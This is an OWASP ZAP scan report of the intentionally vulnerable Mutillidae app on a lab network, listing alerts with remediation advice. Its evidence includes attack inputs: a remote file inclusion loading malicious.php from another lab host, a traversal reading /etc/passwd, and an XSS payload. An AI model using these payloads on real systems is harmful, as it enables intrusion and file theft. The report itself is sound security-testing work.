ZAP Scanning Report

Summary of Alerts

Risk Level	Number of Alerts
High	3
Medium	3
Low	6
Informational	2

Alert Detail

High (Medium)	Remote File Inclusion
Description	Remote File Include (RFI) is an attack technique used to exploit "dynamic file include" mechanisms in web applications. When web applications take user input (URL, parameter value, etc.) and pass them into file include commands, the web application might be tricked into including remote files with malicious code. Almost all web application frameworks support file inclusion. File inclusion is mainly used for packaging common code into separate files that are later referenced by main application modules. When a web application references an include file, the code in this file may be executed implicitly or explicitly by calling specific procedures. If the choice of module to load is based on elements from the HTTP request, the web application might be vulnerable to RFI. An attacker can use RFI for: * Running malicious code on the server: any code in the included malicious files will be run by the server. If the file include is not executed using some wrapper, code in include files is executed in the context of the server user. This could lead to a complete system compromise. * Running malicious code on clients: the attacker's malicious code can manipulate the content of the response sent to the client. The attacker can embed malicious code in the response that will be run by the client (for example, JavaScript to steal the client session cookies). PHP is particularly vulnerable to RFI attacks due to the extensive use of "file includes" in PHP programming and due to default server configurations that increase susceptibility to an RFI attack.
URL	http://10.0.2.6/mutillidae/index.php?page=http%3A%2F%2Fwww.google.com%2F
Method	GET
Parameter	page
Attack	http://www.google.com/
Evidence	<title>Google</title>
Instances	1
Solution	Phase: Architecture and Design When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability. Phases: Architecture and Design; Operation Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by your software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows you to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

	For PHP, the interpreter offers restrictions such as open basedir or safe mode which can make it more difficult for an attacker to escape out of the application. Also consider Suhosin, a hardened PHP extension, which includes various options that disable some of the more dangerous PHP features. Phase: Implementation Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if you are expecting colors such as "red" or "blue." For filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434. Phases: Architecture and Design; Operation Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce your attack surface. Phases: Architecture and Design; Implementation Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.
Reference	http://projects.webappsec.org/Remote-File-Inclusion http://cwe.mitre.org/data/definitions/98.html
CWE Id	98
WASC Id	5
Source ID	1

High (Medium)	**Path Traversal**
Description	The Path Traversal attack technique allows an attacker access to files, directories, and commands that potentially reside outside the web document root directory. An attacker may manipulate a URL in such a way that the web site will execute or reveal the contents of arbitrary files anywhere on the web server. Any device that exposes an HTTP-based interface is potentially vulnerable to Path Traversal. Most web sites restrict user access to a specific portion of the file-system, typically called the "web document root" or "CGI root" directory. These directories contain the files intended for user access and the executable necessary to drive web application functionality. To access files or execute commands anywhere on the file-system, Path Traversal attacks will utilize the ability of special-characters sequences. The most basic Path Traversal attack uses the "../" special-character sequence to alter the resource location requested in the URL. Although most popular web servers will prevent this technique from escaping the web document root, alternate encodings of the "../" sequence may help bypass the security filters. These method variations include valid and invalid Unicode-encoding ("..%u2216" or "..%c0%af") of the forward slash character, backslash characters ("..\") on Windows-based servers, URL encoded characters "%2e%2e%2f"), and double URL encoding ("..%255c") of the backslash character. Even if the web server properly restricts Path Traversal attempts in the URL path, a web application itself may still be vulnerable due to improper handling of user-supplied input. This is a common problem of web applications that use template mechanisms or load static text from files. In variations of the attack, the original URL parameter value is substituted with the file name of one of the web application's dynamic scripts. Consequently, the results can reveal source code because the file is interpreted as text instead of an executable script. These techniques often employ additional special characters such as the dot (".") to reveal the listing of the current working directory, or "%00" NULL characters in order to bypass rudimentary file extension checks.
URL	http://10.0.2.6/mutillidae/index.php?page=%2Fetc%2Fpasswd
Method	GET
Parameter	page
Attack	/etc/passwd
Evidence	root:x:0:0
Instances	1

Solution	Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if you are expecting colors such as "red" or "blue." For filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses, and exclude directory separators such as "/". Use a whitelist of allowable file extensions. Warning: if you attempt to cleanse your data, then do so that the end result is not in the form that can be dangerous. A sanitizing mechanism can remove characters such as '.' and ';' which may be required for some exploits. An attacker can try to fool the sanitizing mechanism into "cleaning" data into a dangerous form. Suppose the attacker injects a '.' inside a filename (e.g. "sensi.tiveFile") and the sanitizing mechanism removes the character resulting in the valid filename, "sensitiveFile". If the input data are now assumed to be safe, then the file may be compromised. Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links. Run your code using the lowest privileges that are required to accomplish the necessary tasks. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations. When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by your software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows you to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
Reference	http://projects.webappsec.org/Path-Traversal http://cwe.mitre.org/data/definitions/22.html
CWE Id	22
WASC Id	33
Source ID	1

High (Medium)	**Cross Site Scripting (Reflected)**
Description	Cross-site Scripting (XSS) is an attack technique that involves echoing attacker-supplied code into a user's browser instance. A browser instance can be a standard web browser client, or a browser object embedded in a software product such as the browser within WinAmp, an RSS reader, or an email client. The code itself is usually written in HTML/JavaScript, but may also extend to VBScript, ActiveX, Java, Flash, or any other browser-supported technology. When an attacker gets a user's browser to execute his/her code, the code will run within the security context (or zone) of the hosting web site. With this level of privilege, the code has the ability to read, modify and transmit any sensitive data accessible by the browser. A Cross-site Scripted user could have his/her account hijacked (cookie theft), their browser redirected to another location, or possibly shown fraudulent content delivered by the web site they are visiting. Cross-site Scripting attacks essentially compromise the trust relationship between a user and the web site. Applications utilizing browser object instances which load content from the file system may execute code under the local machine zone allowing for system compromise. There are three types of Cross-site Scripting attacks: non-persistent, persistent and DOM-based. Non-persistent attacks and DOM-based attacks require a user to either visit a specially crafted link laced with malicious code, or visit a malicious web page containing a web form, which when posted to the vulnerable site, will mount the attack. Using a malicious form will oftentimes take place when the vulnerable resource only accepts HTTP POST requests. In such a case, the form can be submitted automatically, without the victim's knowledge (e.g. by using JavaScript). Upon clicking on the malicious link or submitting the malicious form, the XSS payload will get echoed back and will get interpreted by the user's browser and execute. Another technique to send almost arbitrary requests (GET and POST) is by using an embedded client, such as Adobe Flash. Persistent attacks occur when the malicious code is submitted to a web site where it's stored for a period of time. Examples of an attacker's favorite targets often include message board posts, web mail messages, and web chat software. The unsuspecting user is not required to interact with any additional site/link (e.g. an attacker site or a malicious link sent via email), just simply view the web page containing the code.
URL	http://10.0.2.6/mutillidae/index.php?page=javascript%3Aalert%281%29%3B

Method	GET
Parameter	page
Attack	javascript:alert(1);
Evidence	javascript:alert(1);
Instances	1
Solution	Phase: Architecture and Design Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket. Phases: Implementation; Architecture and Design Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Consult the XSS Prevention Cheat Sheet for more details on the types of encoding and escaping that are needed. Phase: Architecture and Design For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server. If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. Phase: Implementation For every web page that is generated, use and specify a character encoding such as ISO-8859-1 or UTF-8. When an encoding is not specified, the web browser may choose a different encoding by guessing which encoding is actually being used by the web page. This can cause the web browser to treat certain sequences as special, opening up the client to subtle XSS attacks. See CWE-116 for more mitigations related to encoding/escaping. To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set. Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if you are expecting colors such as "red" or "blue." Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Reference	http://projects.webappsec.org/Cross-Site-Scripting http://cwe.mitre.org/data/definitions/79.html
CWE Id	79
WASC Id	8
Source ID	1

Medium (Medium)	**Directory Browsing**
Description	It is possible to view the directory listing. Directory listing may reveal hidden scripts, include files, backup source files, etc. which can be accessed to read sensitive information.
URL	http://10.0.2.6/mutillidae/javascript/

Method	GET
Attack	Parent Directory
URL	http://10.0.2.6/mutillidae/images/
Method	GET
Attack	Parent Directory
URL	http://10.0.2.6/mutillidae/styles/
Method	GET
Attack	Parent Directory
URL	http://10.0.2.6/mutillidae/javascript/ddsmoothmenu/
Method	GET
Attack	Parent Directory
URL	http://10.0.2.6/mutillidae/styles/ddsmoothmenu/
Method	GET
Attack	Parent Directory
Instances	5
Solution	Disable directory browsing. If this is required, make sure the listed files does not induce risks.
Reference	http://httpd.apache.org/docs/mod/core.html#options http://alamo.satlug.org/pipermail/satlug/2002-February/000053.html
CWE Id	548
WASC Id	48
Source ID	1

Medium (Medium)	**X-Frame-Options Header Not Set**
Description	X-Frame-Options header is not included in the HTTP response to protect against 'ClickJacking' attacks.
URL	http://10.0.2.6/mutillidae/index.php?page=http://10.0.2.4/malicious.php
Method	GET
Parameter	X-Frame-Options
URL	http://10.0.2.6/mutillidae/index.php?page=../../../etc/passwd
Method	GET
Parameter	X-Frame-Options
URL	http://10.0.2.6/mutillidae/index.php?page=arbitrary-file-inclusion.php
Method	GET
Parameter	X-Frame-Options
Instances	3
Solution	Most modern Web browsers support the X-Frame-Options HTTP header. Ensure it's set on all web pages returned by your site (if you expect the page to be framed only by pages on your server (e.g. it's part of a FRAMESET) then you'll want to use SAMEORIGIN, otherwise if you never expect the page to be framed, you should use DENY. ALLOW-FROM allows specific websites to frame the web page in supported web browsers).
Reference	http://blogs.msdn.com/b/ieinternals/archive/2010/03/30/combating-clickjacking-with-x-frame-options.aspx
CWE Id	16
WASC Id	15
Source ID	3

Medium (Low)	**Parameter Tampering**
Description	Parameter manipulation caused an error page or Java stack trace to be displayed. This indicated lack of exception handling and potential areas for further exploit.
URL	http://10.0.2.6/mutillidae/index.php?page=%40
Method	GET
Parameter	page
Attack	@
Evidence	on line <b>
Instances	1
Solution	Identify the cause of the error and fix it. Do not trust client side input and enforce a tight check in the server side. Besides, catch the exception properly. Use a generic 500 error page for internal server error.
Reference	
CWE Id	472
WASC Id	20
Source ID	1

Low (Medium)	**Private IP Disclosure**
Description	A private IP (such as 10.x.x.x, 172.x.x.x, 192.168.x.x) or an Amazon EC2 private hostname (for example, ip-10-0-56-78) has been found in the HTTP response body. This information might be helpful for further attacks targeting internal systems.
URL	http://10.0.2.6/mutillidae/index.php?page=http://10.0.2.4/malicious.php
Method	GET
Evidence	10.0.2.4
URL	http://10.0.2.6/mutillidae/index.php?page=arbitrary-file-inclusion.php
Method	GET
Evidence	10.0.2.4
Instances	2
Solution	Remove the private IP address from the HTTP response body. For comments, use JSP/ASP/PHP comment instead of HTML/JavaScript comment which can be seen by client browsers.
Other information	10.0.2.4 10.0.2.4 10.0.2.4
Reference	https://tools.ietf.org/html/rfc1918
CWE Id	200
WASC Id	13
Source ID	3

Low (Medium)	**X-Content-Type-Options Header Missing**
Description	The Anti-MIME-Sniffing header X-Content-Type-Options was not set to 'nosniff'. This allows older versions of Internet Explorer and Chrome to perform MIME-sniffing on the response body, potentially causing the response body to be interpreted and displayed as a content type other than the declared content type. Current (early 2014) and legacy versions of Firefox will use the declared content type (if one is set), rather than performing MIME-sniffing.
URL	http://10.0.2.6/mutillidae/javascript/bookmark-site.js
Method	GET
Parameter	X-Content-Type-Options
URL	http://10.0.2.6/mutillidae/index.php?page=http://10.0.2.4/malicious.php

Method	GET
Parameter	X-Content-Type-Options
URL	http://10.0.2.6/mutillidae/styles/global-styles.css
Method	GET
Parameter	X-Content-Type-Options
URL	http://10.0.2.6/mutillidae/styles/ddsmoothmenu/ddsmoothmenu.css
Method	GET
Parameter	X-Content-Type-Options
URL	http://10.0.2.6/mutillidae/javascript/ddsmoothmenu/jquery.min.js
Method	GET
Parameter	X-Content-Type-Options
URL	http://10.0.2.6/mutillidae/index.php?page=../../../etc/passwd
Method	GET
Parameter	X-Content-Type-Options
URL	http://10.0.2.6/mutillidae/styles/ddsmoothmenu/ddsmoothmenu-v.css
Method	GET
Parameter	X-Content-Type-Options
URL	http://10.0.2.6/mutillidae/javascript/ddsmoothmenu/ddsmoothmenu.js
Method	GET
Parameter	X-Content-Type-Options
URL	http://10.0.2.6/mutillidae/index.php?page=arbitrary-file-inclusion.php
Method	GET
Parameter	X-Content-Type-Options
Instances	9
Solution	Ensure that the application/web server sets the Content-Type header appropriately, and that it sets the X-Content-Type-Options header to 'nosniff' for all web pages. If possible, ensure that the end user uses a standards-compliant and modern web browser that does not perform MIME-sniffing at all, or that can be directed by the web application/web server to not perform MIME-sniffing.
Other information	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scanner will not alert on client or server error responses.
Reference	http://msdn.microsoft.com/en-us/library/ie/gg622941%28v=vs.85%29.aspx https://www.owasp.org/index.php/List_of_useful_HTTP_headers
CWE Id	16
WASC Id	15
Source ID	3

Low (Medium)	**Web Browser XSS Protection Not Enabled**
Description	Web Browser XSS Protection is not enabled, or is disabled by the configuration of the 'X-XSS-Protection' HTTP response header on the web server
URL	http://10.0.2.6/mutillidae/index.php?page=../../../etc/passwd
Method	GET

Parameter	X-XSS-Protection
URL	http://10.0.2.6/mutillidae/index.php?page=arbitrary-file-inclusion.php
Method	GET
Parameter	X-XSS-Protection
URL	http://10.0.2.6/mutillidae/index.php?page=http://10.0.2.4/malicious.php
Method	GET
Parameter	X-XSS-Protection
Instances	3
Solution	Ensure that the web browser's XSS filter is enabled, by setting the X-XSS-Protection HTTP response header to '1'.
Other information	The X-XSS-Protection HTTP response header allows the web server to enable or disable the web browser's XSS protection mechanism. The following values would attempt to enable it: X-XSS-Protection: 1; mode=block X-XSS-Protection: 1; report=http://www.example.com/xss The following values would disable it: X-XSS-Protection: 0 The X-XSS-Protection HTTP response header is currently supported on Internet Explorer, Chrome and Safari (WebKit). Note that this alert is only raised if the response body could potentially contain an XSS payload (with a text-based content type, with a non-zero length).
Reference	https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet https://www.veracode.com/blog/2014/03/guidelines-for-setting-security-headers/
CWE Id	933
WASC Id	14
Source ID	3

Low (Medium)	**Server Leaks Information via "X-Powered-By" HTTP Response Header Field(s)**
Description	The web/application server is leaking information via one or more "X-Powered-By" HTTP response headers. Access to such information may facilitate attackers identifying other frameworks/components your web application is reliant upon and the vulnerabilities such components may be subject to.
URL	http://10.0.2.6/mutillidae/index.php?page=http://10.0.2.4/malicious.php
Method	GET
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://10.0.2.6/mutillidae/index.php?page=../../../etc/passwd
Method	GET
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://10.0.2.6/mutillidae/index.php?page=arbitrary-file-inclusion.php
Method	GET
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
Instances	3
Solution	Ensure that your web server, application server, load balancer, etc. is configured to suppress "X-Powered-By" headers.
Reference	http://blogs.msdn.com/b/varunm/archive/2013/04/23/remove-unwanted-http-response-headers.aspx http://www.troyhunt.com/2012/02/shhh-dont-let-your-response-headers.html
CWE Id	200

WASC Id	13
Source ID	3

Low (Medium)	**Cookie No HttpOnly Flag**
Description	A cookie has been set without the HttpOnly flag, which means that the cookie can be accessed by JavaScript. If a malicious script can be run on this page then the cookie will be accessible and can be transmitted to another site. If this is a session cookie then session hijacking may be possible.
URL	http://10.0.2.6/mutillidae/index.php?page=http://10.0.2.4/malicious.php
Method	GET
Parameter	PHPSESSID
Evidence	Set-Cookie: PHPSESSID
Instances	1
Solution	Ensure that the HttpOnly flag is set for all cookies.
Reference	http://www.owasp.org/index.php/HttpOnly
CWE Id	16
WASC Id	13
Source ID	3

Low (Medium)	**Cookie Without SameSite Attribute**
Description	A cookie has been set without the SameSite attribute, which means that the cookie can be sent as a result of a 'cross-site' request. The SameSite attribute is an effective counter measure to cross-site request forgery, cross-site script inclusion, and timing attacks.
URL	http://10.0.2.6/mutillidae/index.php?page=http://10.0.2.4/malicious.php
Method	GET
Parameter	PHPSESSID
Evidence	Set-Cookie: PHPSESSID
Instances	1
Solution	Ensure that the SameSite attribute is set to either 'lax' or ideally 'strict' for all cookies.
Reference	https://tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site
CWE Id	16
WASC Id	13
Source ID	3

Informational (Medium)	**Information Disclosure - Suspicious Comments**
Description	The response appears to contain suspicious comments which may help an attacker.
URL	http://10.0.2.6/mutillidae/index.php?page=http://10.0.2.4/malicious.php
Method	GET
URL	http://10.0.2.6/mutillidae/index.php?page=arbitrary-file-inclusion.php
Method	GET
URL	http://10.0.2.6/mutillidae/javascript/ddsmoothmenu/ddsmoothmenu.js
Method	GET
URL	http://10.0.2.6/mutillidae/index.php?page=../../../etc/passwd
Method	GET

URL	http://10.0.2.6/mutillidae/javascript/ddsmoothmenu/jquery.min.js
Method	GET
Instances	5
Solution	Remove all comments that return information that may help an attacker and fix any underlying problems they refer to.
Other information	<!-- I think the database password is set to blank or perhaps samurai. It depends on whether you installed this web app from irongeeks site or are using it inside Kevin Johnsons Samurai web testing framework. It is ok to put the password in HTML comments because no user will ever see this comment. I remember that security instructor saying we should use the framework comment symbols (ASP.NET, JAVA, PHP, Etc.) rather than HTML comments, but we all know those security instructors are just making all this up. -->
Reference	
CWE Id	200
WASC Id	13
Source ID	3

Informational (Low)	**Timestamp Disclosure - Unix**
Description	A timestamp was disclosed by the application/web server - Unix
URL	http://10.0.2.6/mutillidae/index.php?page=http://10.0.2.4/malicious.php
Method	GET
Evidence	20100101
URL	http://10.0.2.6/mutillidae/index.php?page=arbitrary-file-inclusion.php
Method	GET
Evidence	20100101
URL	http://10.0.2.6/mutillidae/index.php?page=arbitrary-file-inclusion.php
Method	GET
Evidence	19991224
URL	http://10.0.2.6/mutillidae/index.php?page=http://10.0.2.4/malicious.php
Method	GET
Evidence	19991224
URL	http://10.0.2.6/mutillidae/index.php?page=../../../etc/passwd
Method	GET
Evidence	19991224
URL	http://10.0.2.6/mutillidae/index.php?page=../../../etc/passwd
Method	GET
Evidence	20100101
Instances	6
Solution	Manually confirm that the timestamp data is not sensitive, and that the data cannot be aggregated to disclose exploitable patterns.

Other information	20100101, which evaluates to: 1970-08-21 11:21:41

Reference	https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure http://projects.webappsec.org/w/page/13246936/Information%20Leakage
CWE Id	200
WASC Id	13
Source ID	3